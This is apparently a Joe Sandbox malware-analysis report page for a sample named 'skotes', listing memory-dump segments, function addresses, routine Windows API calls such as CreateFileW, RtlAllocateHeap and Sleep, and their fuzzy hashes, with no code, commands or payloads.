Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: ebec46bb5b4ac9e84359564a93b9cdb8c22589271a4d37d2c494fcef741e613a
Instruction ID: d5f12136b5581d3fcb6616ca841d55880a870df00bbf90ff5ea6f8198f9802b8
Opcode Fuzzy Hash: ebec46bb5b4ac9e84359564a93b9cdb8c22589271a4d37d2c494fcef741e613a
Instruction Fuzzy Hash: A911FEB390410DABDB20DED5C985EDF77BDAF09314F545266E511E2180EB30EA49CBA1

Function 0063AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0063AC8D

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 3034857b3dc3aaedac800f9252c87b8b92d4936d8659b983bd5638a025f36ca8
Instruction ID: e1a2e14f5bf0ad7126fdcb56be6500ad187e959dd3c7d2644e2a1c069fc35dae
Opcode Fuzzy Hash: 3034857b3dc3aaedac800f9252c87b8b92d4936d8659b983bd5638a025f36ca8
Instruction Fuzzy Hash: AF1115B1A0420AAFCB09DF98E94199A7BF5EF48304F044069F809AB351D670EE21DBA5

Function 0063B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,8FC8FEA1,?,?,0061D3FC,8FC8FEA1,?,00617A8B,?,?,?,?,?,?,00607465,?), ref: 0063B07E

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7da88b2d4ef150b01fa2fb36ef5fac015df6170571b76c0bbaae66f00bae7ea2
Instruction ID: 2fae5cfb8766799a975f471be660241655f36e2326949f599bc0edd4c1cba4e4
Opcode Fuzzy Hash: 7da88b2d4ef150b01fa2fb36ef5fac015df6170571b76c0bbaae66f00bae7ea2
Instruction Fuzzy Hash: BBE0653514121596D77532759D41BDFB64BDF813B0F152210EFA496290DB90DD0085E5

Function 00641775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00641B65,?,?,00000000,?,00641B65,00000000,0000000C), ref: 00641792

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 338090606fac5edc2bbd4f15ae98e09a3a69787029ab8c25ad59785c7f3e9969
Instruction ID: 6f8278bb038245104af671d549b1b613887eee4b520f8484e29f4dfb4856cf9c
Opcode Fuzzy Hash: 338090606fac5edc2bbd4f15ae98e09a3a69787029ab8c25ad59785c7f3e9969
Instruction Fuzzy Hash: 77D06C3214020DBBDF129E84DC06EDA3BAAAB48654F014100BE5866060C776E861AB94

Function 00616C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00616CF5

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
